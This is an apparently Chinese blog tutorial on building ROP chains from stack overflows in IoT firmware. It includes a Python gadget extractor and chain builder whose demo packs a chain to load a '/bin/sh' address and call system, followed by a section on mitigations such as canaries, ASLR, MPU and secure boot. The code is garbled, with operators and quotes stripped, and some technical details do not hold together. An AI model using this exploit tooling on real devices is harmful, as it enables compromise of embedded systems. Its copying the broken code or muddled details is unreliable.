固件漏洞的栈利用:在受限内核里搭建 ROP 链

发布时间:2026/7/25 1:59:27
固件漏洞的栈利用:在受限内核里搭建 ROP 链 固件漏洞的栈利用在受限内核里搭建 ROP 链一、受限内核里栈溢出仍是主战场IoT 固件的漏洞利用和现代桌面/服务器环境相比有个根本差异很多缓解机制根本没开。ARM Cortex-M 系列 MCU 跑的实时内核往往没有 ASLR没有 NX没有 Stack Canary甚至连 NX bit 都不存在——片上 Flash 是 XIPExecute In Place的代码直接在 Flash 里跑数据与代码物理隔离靠的是 MPU 而非 MMU。这种环境下一个栈溢出往往就是一次任意代码执行。栈溢出在固件里依然高频原因挺简单。协议解析代码普遍手写长度校验靠人工少一个判断就越界嵌入式 C 库为了节省 RAM常用栈上数组做缓冲缓冲区一旦比输入小就溢出。加上无 Canary、无 ASLR攻击者只要控制返回地址就能跳到任意地址执行代码。ROPReturn-Oriented Programming是这种环境下的主流利用技术。它的核心思想是不注入新代码数据段可能不可执行而是复用固件里已有的代码片段gadget通过精心构造的返回地址链让这些 gadget 按攻击者的意图顺序执行。每个 gadget 通常以 ret 结尾下一个返回地址又被攻击者控制形成链条。ROP 在受限内核里反而更容易搭建。固件基址固定每次重启地址不变gadget 地址稳定可复用固件二进制闭源但可提取攻击者拿到固件文件就能离线找 gadget嵌入式工具链生成的代码往往规律性强pop/mov/add 这类短指令序列很多gadget 数量充足。说实话比在 x86 Linux 上做 ROP 轻松多了。固件栈利用的重点在溢出后能不能搭出可用的 ROP 链。本文聚焦这一步从 gadget 查找到链构造再到缓解开启后的利用限制。二、ROP 链的构造流程与受限环境的便利点把一次 ROP 利用拆开看从漏洞触发到任意代码执行是一条多阶段链条。无 Canary 让溢出本身无阻碍基址固定让 gadget 地址每次重启后保持一致无 ASLR 让链布局不需要信息泄露Flash XIP 让最终跳转到的代码段可执行。这四个便利点各对应一个利用阶段。任何一个缓解被开启对应阶段就要付出额外代价——这正是后文要讨论的缓解开启后的利用限制。链构造的核心是语义拼接。单个 gadget 只做一两件事pop 寄存器、加载立即数、调用函数指针要把它们串成调用 system(/bin/sh)这样的复杂动作需要按 calling convention 安排寄存器值、栈布局、参数顺序。这一步是 ROP 利用最考验工程能力的环节也是新手最容易卡住的地方。三、生产级 Gadget 查找与 ROP 链构造工具下面是一段 gadget 查找与 ROP 链构造实现。它从固件二进制里提取可用的 gadget按语义分类并提供链拼接接口import re import struct import subprocess from dataclasses import dataclass, field from typing import Iterable dataclass class Gadget: addr: int # gadget 在固件中的偏移地址 asm: str # 反汇编文本 category: str # pop_reg / call_reg / syscall / arithmetic bytes_seq: bytes field(defaultb) # gadget 签名规则按 ret 结尾的短指令序列分类 GADGET_PATTERNS { # pop 多个寄存器后 ret用于控制寄存器值 pop_r0_r1: rb\xbd\x00[\x00-\xff]{2}, # pop {r0, r1, pc}ARM Thumb 示意 pop_r0: rb\x70\x47, # movs r0, ...; bx lr # 系统调用触发 svc: rb\xdf\x00, # svc #0 # 加载立即数到寄存器 load_imm: rb\x4f[\x00-\xff], # mov r7, #imm8 } class GadgetFinder: 从固件二进制提取 gadget基于字节模式匹配再反汇编确认 def __init__(self, base_addr: int 0x08000000): # base_addr: 固件在芯片地址空间中的加载基址 self._base base_addr def extract(self, firmware_path: str) - list[Gadget]: with open(firmware_path, rb) as f: data f.read() gadgets [] for category, pattern in GADGET_PATTERNS.items(): for m in re.finditer(pattern, data): offset m.start() # 对齐ARM Thumb 指令 2 字节对齐 if offset % 2 ! 0: continue addr self._base offset # 取匹配位置后 8 字节做反汇编文本真实环境调 objdump/Capstone asm self._disasm(data[offset:offset 8], addr) gadgets.append(Gadget( addraddr, asmasm, categorycategory, bytes_seqdata[offset:offset 8] )) return gadgets def _disasm(self, chunk: bytes, addr: int) - str: # 真实环境用 capstone 或 arm-none-eabi-objdump这里用占位 try: r subprocess.run( [arm-none-eabi-objdump, -b, binary, -m, arm, -M, force-thumb, -D, -], inputchunk, capture_outputTrue, timeout2.0 ) return r.stdout.decode(utf-8, errorsignore)[:120] except Exception: return fraw:{chunk.hex()} class ROPChainBuilder: ROP 链构造按语义拼接 gadget生成可注入的字节序列 def __init__(self, gadgets: list[Gadget], ptr_size: int 4): self._gadgets gadgets # 嵌入式 32 位 ARM 指针宽度 4 字节 self._ptr_size ptr_size self._chain: list[int] [] def find(self, category: str) - Gadget | None: for g in self._gadgets: if g.category category: return g return None def pop_reg(self, reg_values: dict[str, int]) - ROPChainBuilder: # 用 pop gadget 把指定值塞进寄存器 g self.find(pop_r0_r1) or self.find(pop_r0) if g is None: raise RuntimeError(no pop gadget available) self._chain.append(g.addr) for v in reg_values.values(): # 每个寄存器值按指针宽度打包进链 self._chain.append(v) return self def call_func(self, func_addr: int) - ROPChainBuilder: # 把目标函数地址作为下一个返回地址 self._chain.append(func_addr) return self def build(self) - bytes: # 把地址序列打包成小端字节流可直接写入溢出缓冲区 out bytearray() for addr in self._chain: out.extend(struct.pack(I, addr 0xFFFFFFFF)) return bytes(out) def summary(self) - str: lines [fROP chain: {len(self._chain)} entries] for i, addr in enumerate(self._chain): lines.append(f [{i:02d}] 0x{addr:08x}) return \n.join(lines) # 演示从固件提取 gadget 并构造一条 ROP 链 def demo(): # 占位固件路径真实环境替换为目标固件 dump fw /tmp/firmware.bin if not __import__(os).path.exists(fw): # 没有真实固件时写一段示意字节构造伪固件 with open(fw, wb) as f: f.write(b\xbd\x00\x10\x00 b\x4f\xf0 b\xdf\x00 b\x00 * 16) finder GadgetFinder(base_addr0x08000000) gadgets finder.extract(fw) print(ffound {len(gadgets)} gadgets) for g in gadgets[:5]: print(f 0x{g.addr:08x} [{g.category}] {g.asm[:40]}) builder ROPChainBuilder(gadgets) try: # 构造pop r0/bin/sh 地址然后调用 system builder.pop_reg({r0: 0x0800C000}).call_func(0x0800A100) print(builder.summary()) payload builder.build() print(fpayload bytes: {len(payload)}) except RuntimeError as e: print(fchain build failed: {e}) if __name__ __main__: demo()gadget 查找基于字节模式匹配并做对齐校验避免命中非指令序列按 calling convention 安排 pop 与 call 顺序让寄存器值在调用前就位最终链打包成小端字节流可直接拼接在溢出返回地址之后。这段实现用 objdump 做反汇编真实环境可换成 Capstone 拿到更稳定的指令解析。整个流程是离线的攻击者拿到固件文件就能在本地完成 gadget 提取与链构造不用与目标设备交互。四、缓解开启后的利用限制与防御建议ROP 不是无解的。缓解机制每开启一项利用成本就上升一档。开 ASLR 后基址不再固定。每次重启固件加载基址随机化gadget 地址每次都变离线构造的链无法直接复用。攻击者必须先做信息泄露拿到当前基址再动态计算 gadget 地址。但嵌入式设备信息泄露并不难——很多固件会通过调试日志、错误返回、协议响应回吐内存地址。ASLR 必须配合信息泄露防护才能发挥作用单开 ASLR 而日志全开等于半开半闭。开 Stack Canary 后栈溢出本身被检测。Canary 在返回地址之前溢出覆盖到返回地址必然先覆盖 Canary函数返回时校验失败直接 abort。攻击者要绕过得先泄露 Canary 值再在溢出时原样写回。Canary 防护的强度取决于 Canary 的随机性与泄露面固件里若存在读越界漏洞Canary 仍可能被读出。开 XNExecute Never后数据段不可执行。ROP 本身就是为了绕过 XN所以 XN 对 ROP 的直接限制有限但 XN 能挡住更简单的注入 shellcode 直接执行路径迫使攻击者只能走 ROP从而提高门槛。在 ARM Cortex-M 上 XN 通过 MPU 配置开启后 RAM 区域不可执行Flash 仍可执行这是 XIP 架构的固有特征。防御上Stack Canary 优先级最高——成本最低收益最高能挡住大部分低水平栈溢出。其次开 ASLR 并配套信息泄露治理让 ROP 链无法离线复用。再部署 MPU 做严格内存隔离把关键代码与数据分区限制漏洞影响范围。还有个常被忽略的点固件签名校验与安全启动。即使攻击者拿到固件文件离线分析没有签名也无法刷入篡改版固件这条防线把漏洞利用限制在运行时挡住了持久化植入。五、总结在受限内核里搭 ROP 链比在现代桌面环境里容易太多。基址固定、无 ASLR、无 Canary、Flash XIP——四个便利条件让栈溢出几乎等于任意代码执行。攻击者拿到固件文件离线提取 gadget按 calling convention 拼成调用 system 的完整链条全程不用和目标设备交互。缓解机制不是没有关键看厂商愿不愿意开。Stack Canary 成本最低ASLR 配上信息泄露治理能挡离线复用MPU 做内存隔离限制影响范围。再加一道固件签名校验把攻击限制在运行时。ROP 不是不可防问题是很多 IoT 固件连最基本的 Canary 都没开——不是做不到是不想做。